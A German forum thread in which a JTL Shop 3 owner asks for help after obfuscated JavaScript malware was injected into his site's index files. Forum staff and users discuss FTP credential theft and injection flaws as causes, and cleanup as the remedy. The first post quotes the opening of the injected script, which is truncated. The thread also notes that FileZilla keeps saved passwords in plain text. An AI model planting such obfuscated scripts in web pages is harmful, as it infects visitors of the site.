JTL Shop 3 gehackt...

Coldstorm

Aktives Mitglied
2. März 2011
124
0
Hallo,

ich hatte einen Angriff auf meiner Seite. Seite ist noch im Wartungsmodus, aber trotzdem hatte ich ein Malware Script in der index.html, index.php, sämtliche Unterordner...
Es wurde folgendes eingefügt:
Code:
<!-- . --><script>el=document.createElement("div");el.innerHTML="ReferenceErr";el.appendChild(document.createTextNode("q"));el.replaceChild(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="/aegl =cNbi{ufm >[nhtEo})\"<'v,A?Bp0Trq-.;:w]sCyd(1";ar2="R60c0c-20c12c-32c172c-4c-100c-60c20c8c-48c64c8c76c-144c-4c72c4c-68c-8c48c-48c64c8c96c-48c56c-44c-136c8c20c-28c52c-48c184c-84c-72c52c100c-4c-76c-12c-28c68c36c-76c-52c16c0c0c-20c12c92c-140c52c-48c136c48c-96c64c-1

usw....was hat das zum bedeuten? Reicht es aus, wenn ich nur das Script rausnehme oder muss ich komplette Backup reinspielen?
Muss ich nur die index.php und admin/index.php überschreiben oder sind da noch mehr dafür anfällige Dateien?
Wie kann so ein Angriff passieren? Habe total sicheres FTP-Passwort oder wie kommt da jemand rauf ?
 

MBesancon

Administrator
Mitarbeiter
1. Oktober 2010
2.087
218
Erkelenz
AW: JTL Shop 3 gehackt...

Ich würde dir empfehlen alle Passwörter zu ändern und aus Sicherheitsgründen nur die Datenbank zu behalten. An deiner Stelle würde ich alle Dateien neu hochladen.

Der Zugriff erfolgt meistens über den eigenen PC. Ein "Schädling" kapert alle deine FTP-Zugangsdaten und geht diese der Reihe nach durch. Bei der Verbindung schreibt er sich dann in nahezu alle Dokumente die dem gewünschten Muster entsprechen. Meistens sind das Dateien mit dem Namen index.html oder index.php o.ä. Von daher mein Rat:

Alle Passwörter ändern! Dateien neu einspielen!
 

Coldstorm

Aktives Mitglied
2. März 2011
124
0
AW: JTL Shop 3 gehackt...

Der Zugang erfolgt über den eigenen PC? Ich hab das schonmal gehabt, dann hab ich PC komplett neu aufgesetzt und nach gut einer Woche jetzt wieder gehackt...
Ich hab in Strato jetzt den Schreibzugriff für das komplette Verzeichnis aktiviert...darf ich das? Oder hindert das JTL Shop in irgendeiner Weise ?

Auszug:
Schreibschutz für gesamten Webspace oder einzelne Verzeichnisse

Auch beim Schreibschutz gilt, dass nach Aktivierung in der Grundeinstellung alle Verzeichnisse schreibgeschützt sind. Sofern Sie für einzelne Verzeichnisse den Schreibzugriff erlauben möchten, können Sie diese auf die "Ausschlussliste" setzen.

Bitte beachten Sie, dass der Ordner cgi-data ausgeschlossen sein muss (nicht geschützt), wenn Sie CGIs aus der STRATO CGI-Bibliothek verwenden, da die Scripte sonst nicht ausgeführt werden können.

Das trifft auch auf einige Funktionen des Kundenservicebereichs zu. Wenn Sie den Website-Configurator verwenden, um z. B. eigene Fehlerseiten oder den Verzeichnisschutz einzurichten, darf das Verzeichnis cgi-data sowie der Ordner, für den Sie die Einstellungen vornehmen möchten, nicht schreibgeschützt sein.


Um für ein oder mehrere Verzeichnisse den Schreibzugriff zu erlauben, wählen Sie diese bitte entsprechend aus der Liste aus und klicken jeweils auf Verzeichnis hinzufügen. In der "Ausschlussliste" können Sie die bereits hinzugefügten Verzeichnisse sehen.

Geänderte Einstellungen werden übernommen, wenn Sie auf Speichern klicken.

Möchten Sie den Schreibschutz nicht verwenden, setzen Sie die Option bitte auf Deaktiviert.
 

david

Administrator
Mitarbeiter
16. Juli 2010
2.310
170
AW: JTL Shop 3 gehackt...

Habe total sicheres FTP-Passwort oder wie kommt da jemand rauf ?

Nutzt du Filezilla und hast dein Passwort im Sitemanager gespeichert?
Dann such mal auf deinem PC nach "sitemanager.xml" und schau dir dein Passwort im Klartext an...

Das meinte Marcel mit
Der Zugriff erfolgt meistens über den eigenen PC. Ein "Schädling" kapert alle deine FTP-Zugangsdaten und geht diese der Reihe nach durch.
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

Der Zugriff erfolgt meist NICHT über FTP Programme des Admins also in diesem Fall des Shop-Besitzers. Da fählt wohl leider das Wissen im JTL-Team.

Enthält der PHP-Code Fehler in der Programierung kann sehr viel realisiert werden. Schlagwort für Google ist z.B. PHP-Source-Injection. Oder siehe auch PHP-Vulnerabilities. Da gibt es ganze Bücher für. Oder auch SQL-Injection.

Daher ist es sehr dringend an JTL-Team bitte die Lücke finden (siehe Log-Dateien von dem der es gemeldet hat) Bei Strato müssen diese vorhanden sein. Anhand davon kann man sehen welcher php-Script Sicherheitsmängel enthält. Danach sofort updaten, da mit so was nicht zu spaßen ist, da Kunden-Daten vorhanden! Es können locker die Passwörter (in MD5 Hash-Form) von der DB mit SQL-Injection rauskopiert werden und wenn es dann klappt diese zu entschlüsseln, dann will ich gar nicht erst weiter denken...denn massenweise Kunden haben identische Passwörter...
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

aber kann auch natürlich sein dass die FTP-Passwörter ausspioniert wurden. Hier helfen auch die FTP-Logs von Strato :) Da ich kein Strato-Kunde bin kann ich nicht sagen wie es dort aussieht. Fakt ist, es muss bei so was immer geprüft werden woher es gekommen ist, denn wenn ein Kunde die Malware vom Shop kriegt so kommt er kaum wieder!
 

Thomas Lisson

Administrator
Mitarbeiter
24. März 2006
15.574
300
Köln
AW: JTL Shop 3 gehackt...

Hallo dihegroup,

das ist ja nett, dass Du versuchst zu helfen. Aber uns die Kompetenz in Sachen Sicherheit bei der Webentwicklung abzusprechen, geht ein wenig zu weit. Bei dem Shop wurde ausserordentlich auf Sicherheit geachtet. Wir brauchen hier auch keine Schlagwörter hierzu zu googlen, da dies Grundwissen unserer Mitarbeiter ist.

Das Problem des Threaderstellers kommt definitiv über FTP.

Danach sofort updaten, da mit so was nicht zu spaßen ist, da Kunden-Daten vorhanden! Es können locker die Passwörter (in MD5 Hash-Form) von der DB mit SQL-Injection rauskopiert werden und wenn es dann klappt diese zu entschlüsseln
Hier liegst du komplett falsch - das trifft auf fast jedes andere Shopsystem zu, nicht auf JTL-Shop3. Weder speichern wir Passwörter als MD5 gehashed ab, noch sind Kundendaten in lesbarer Form in der DB hinterlegt. Alle sensiblen Daten sind verschlüsselt.
 

Bremer

Aktives Mitglied
10. September 2010
121
0
AW: JTL Shop 3 gehackt...

Wie stellt man denn eigentlich fest das ein Malware Script eingefügt wurde?
Gibt es hier im Internet einen Scanner oder ein Plugin zur überwachung?

VG

Bremer
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

Gute Frage,

module habe ich hier solche noch nicht gesehen, allerdings gibt es im Admin-Bereich so was die Datei-Check. Natrürlich ist es etwas schwer, da bei mir z.B. viele Dateien verändert sind somit würde dieser Check fehlschlagen, aaaaber wenn man so was manuell steuern könnte z.B. nach dem man eine Datei-Verändert hat deren Hash-Wert abspeichert?! Allerdings ich weiß nicht so recht wie man es handhaben soll?! Denn dann müsste man diesen Wert wieder verschlüsseln?! :)))) Nur eine Idee bitte keine Steine schmeißen :)))
 

Thomas Lisson

Administrator
Mitarbeiter
24. März 2006
15.574
300
Köln
AW: JTL Shop 3 gehackt...

Hi,

der Datei Check ist eine gute Möglichkeit. Da die PHP Dateien ohnehin nicht angepasst werden sollten, ist das ein guter Indikator, dass etwas an den Dateien nicht stimmt.
 

wood-deSign

Aktives Mitglied
26. August 2008
594
0
Geilenkirchen
AW: JTL Shop 3 gehackt...

Hallo,

rein von der Logik her...
Der Zugriff erfolgt meist NICHT über FTP Programme des Admins also in diesem Fall des Shop-Besitzers. Da fählt wohl leider das Wissen im JTL-Team.

Enthält der PHP-Code Fehler in der Programierung kann sehr viel realisiert werden. Schlagwort für Google ist z.B. PHP-Source-Injection. Oder siehe auch PHP-Vulnerabilities. Da gibt es ganze Bücher für. Oder auch SQL-Injection.

kann das nicht stimmen.

Wenn es was AM SHOP wäre, gäbe es doch schon mehr solcher Fälle.

Seltsam... 2 x trifft es den selben Shop.
Andere Nutzer haben aber keine Probleme.

Mein Bauchgefühl sagt mir.. das liegt nicht am Shopcode. ;)

Gruss, Frank

Edit: wenn es ein LOCH gäbe, wäre das auf den einschlägigen Seiten schon LANGE zum verkauf angeboten worden.
Oder die Person würde damit Prahlen oder sonst was in der Art.

Hier wird irgendein ScriptKid mit ´nem Keylogger / Trojaner zugriff auf den PC bekommen haben und da dann die FTP Daten ausgelesen / genutzt haben.

DAS kann man auch leicht prüfen. Das Log beim Provider kann zeigen wer / wann / von WO welche Datei geändert hat.
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

ist nur eine Frage der Zeit. Prallen muss man damit nicht. Es kommt auf die Besucherzahl des Shops an.

Eine Spaßgeschichte wäre ein Deface der Webseite bzw. des Shops. Eine Malware auszusetzen und dann noch in allen PHP-Dateien bzw. in vielen deutet schon auf was seriöseres hin. Anzunehmen zu dem ist, dass irgendwo auch eine PHP-Shell laufen könnte (wobei bei Strato eher nicht). So dass der Angreifer sich wieder zugang verschaffen könnte. Malware hat immer den Sinn nicht einfach jemandem zu schaden, sondern sich in andere Rechner einzunisten. Verschiedene Malware besuchen verschiedene Webseite was widerrum demjenigen Geld bringt. Also schon was seriöser als Scriptkiddy wie angenommen. Wenn viele Dateien berofen sind, dann auch hier kann man ruhig davon ausgehen, dass ein gewisser Automatismus ausgearbeitet wurde bzw. man mit einem spezielln Script gearbeitet hat, was schon die Scriptkiddys nicht mehr darin beteiligen lässt. Natürlich kann es auch nur ein Wurm sein, welcher die Passwörter vom FTP-Klaut und sich dor teinnistet, wo er die PHP-Dateien finden. Ich hoffe so war es auch und so was ist dann natürlich zu vernachlässigen, da kein Massenproblem.
 
Ähnliche Themen
Titel Forum Antworten Datum
Neu JTL-Shop 5.8 - Aktuell 5.8.0 Releaseforum 0
Neu Plugin: Infinite Scroll / „Mehr laden“ für JTL-Shop 5 – einmalige Lizenz, kein Abo Plugins für JTL-Shop 0
Neu JTL-Shop 5.5 – „Rechnung nicht beilegen“ per Workflow anhand der Auftragsposition erkennen User helfen Usern - Fragen zu JTL-Wawi 1
Neu Welche JTL-Shop Plugins oder Funktionen fehlen euch noch? – menuBuilder aktuell in Entwicklung Plugins für JTL-Shop 6
Neu Neuer JTL-Shop lässt sich nicht öffnen Installation / Updates von JTL-Shop 2
Neu 💚 Plugin: DZM Bonus Plus - das Treueprogramm für deinen JTL-Shop Plugins für JTL-Shop 12
Neu Stripe plugin mit JTL SHOP Error 500 Plugins für JTL-Shop 2
Neu JTL-Shop 5.7.2: Zahlungsbetrag weicht vom Auftragswert ab JTL-Shop - Fehler und Bugs 4
Neu JTL-Shop 5.7.2: Unterschiedliche Standardsprachen in tsprache – widersprüchliche Canonical- und Hreflang-Ausgabe der Startseite Allgemeine Fragen zu JTL-Shop 4
Neu Versandetikett bei Aufträgen aus dem JTL Shop Arbeitsabläufe in JTL-Wawi 0
Neu JTL Shop 5.7.2 NOVA - Akkordeon Überschriften herabstufen auf H3 Templates für JTL-Shop 3
Neu 🚨 Sicherheitswarnung für JTL-Shop-Betreiber: Manipulation des Checkout-Prozesses durch externes JavaScript (Magecart- / Payment-Skimmer) Betrieb / Pflege von JTL-Shop 11
Neu JTL-Shop Konfigurator - die Ausgewählten Konfigurator gruppen werden im Artikel nicht vollständig angezeigt User helfen Usern - Fragen zu JTL-Wawi 2
Neu JTL-Shop 5 Backup Professional Plugin Plugins für JTL-Shop 0
Neu Plugin trotz Hinweis Kompatibel mit JTL-Shop bis 5.6.* auch unter 5.7.2 nutzen Plugins für JTL-Shop 2
Neu Aktuelle JTL Shop Sicherheitslücke - automatischer Patch im JTL Hosting ? Allgemeine Fragen zu JTL-Shop 15
Neu Suche 10–15 JTL-Shops für kostenlose JTL-Shop-Analyse (verschiedene Branchen) Dienstleistung, Jobs und Ähnliches 0
Neu JTL-Shop 5.7.2 Picture-Tag in mobilen Ansicht lädt beide Bilder JTL-Shop - Fehler und Bugs 0
Seit dem Update meines JTL-Shops auf Version 5.7.1 funktioniert die Verbindung zwischen JTL-Wawi 2.0.4.0 und dem Shop nicht mehr. JTL-Wawi 2.0 6
Neu Shop 5.7.2 - JTL PayPal Checkout legt alles lahm JTL-Shop - Fehler und Bugs 4
Neu JTL Shop Plugin - BD Automatisierter Widerruf (Von Händler für Händler - Schluss mit Mail-Chaos & Spam-Sorgen!) Plugins für JTL-Shop 0
Neu Welche JTL Shop Plugins oder kleinen Hilfstools würden euch im Alltag wirklich helfen? Plugins für JTL-Shop 0
Neu Plugin: JTL Exportformat Google Shopping gibt <g:google_product_category> unter Shop 5.7.1 und Wawi 2.0.4 nicht aus Plugins für JTL-Shop 1
Neu Widerrufsbutton für JTL-Shop 4 Allgemeine Fragen zu JTL-Shop 17
Neu Rabatte aus dem JTL-Shop werden in der Wawi nur als Netto-Preis übernommen, Rabatt % gehen verloren Onlineshop-Anbindung 2
Neu JTL-Shop - Wechsel von Test zum Livebetrieb - was beachten ? Installation / Updates von JTL-Shop 2
Neu Meta Shop seit September 2025: JTL-Lösung für neue Checkout-URL gesucht Allgemeine Fragen zu JTL-Shop 0
Rabatt Coupons in Verbindung mit Staffelpreisen - JTL 1.11.9, JTL Shop JTL-Wawi 1.11 0
Fehler beim Abgleich mit dem JTL-Shop JTL-Wawi 2.0 12
Neu OnFinds: KI-Suche für JTL-Shop mit fairer Abrechnung nach Artikelanzahl. 30 Tage kostenlos testen Plugins für JTL-Shop 11
Neu Freelancer für JTL-Wawi, Shop & Prozessautomatisierung Dienstleistung, Jobs und Ähnliches 2
Neu JTL Shop 5.7.1 mit Fehlern - versandarten zahlungsarten nicht änderbar, leere weiße Seite JTL-Shop - Fehler und Bugs 5
Neu Massiver jtl-shop-cron aufruf JTL-Shop - Fehler und Bugs 7
„Wer hat Lust auf einen Erfahrungsaustausch bei Kaffee und Kuchen?“ – aber mit JTL-Wawi als Dessert? Starten mit JTL: Projektabwicklung & Migration 0
Neu JTL Start (0 €): Buchung für GmbH i. G. ohne USt-IdNr. nicht möglich Allgemeine Fragen zu JTL-Shop 0
Neu Biete: KI-gestützte Produktdatenoptimierung für JTL-Wawi (Zero-Touch, mit Faktencheck) Dienstleistung, Jobs und Ähnliches 2
Neu Suche Setup-Datei / Installer für JTL-Wawi 1.6 (1.6.48.0) JTL-Wawi 1.6 1
Neu Shopify Zahlungsarten in JTL Wawi mappen – Jemand eine Lösung? Shopify-Connector 0
Neu Selektieren aller Artikel, bei denen NICHT 'Preis aus Registerkarte JTL Wawi" eingestellt ist? User helfen Usern - Fragen zu JTL-Wawi 1
Neu JTL-POS 2.0.0.4 – TSE-Signaturexport führt reproduzierbar zum Absturz JTL-POS - Fehler und Bugs 2
Neu Erfahrungen mit DHL Paket International Premium Tarife in der JTL-Shipping-Cloud ? JTL-ShippingLabels - Ideen, Lob und Kritik 1
Wichtig GLS auf JTL Shipping 2.0 — Webinar am 17. September (Live-Walkthrough & Migration) News, Events und Umfragen 0
Neu JTL-POS DATEV-Export – Kassendifferenz nicht nur bei Mehrzweckgutscheinen JTL-POS - Fehler und Bugs 2
Neu Biete: REPMOD — Lieferantendaten (BMECat, CSV, Preislisten) automatisch als fertiger JTL-Ameise-Import Dienstleistung, Jobs und Ähnliches 6
Neu Google Shopping ... seit JTL Wawi 2.0.6 steigende Zahl nicht genehmigte Produkte (Attribut „Preis“ [[price]]) User helfen Usern - Fragen zu JTL-Wawi 9
Neu JTL-POS DATEV-Export – Kassendifferenz bei Mehrzweckgutscheinen Allgemeine Fragen zu JTL-POS 0
Neu JTL-POS 2.0.0.3 - Barcodeschema lässt sich nicht speichern / alte sind weg JTL-POS - Fehler und Bugs 9
Neu JTL POS Crasht bei Druckerauswahl JTL-POS - Fehler und Bugs 13
JTL API 2.0 Verbinden - HILFE GESUCHT JTL-Wawi 2.0 11
Neu JTL-POS 2.0.0.2 Absturz nach Tagesabschluss JTL-POS - Fehler und Bugs 5

Ähnliche Themen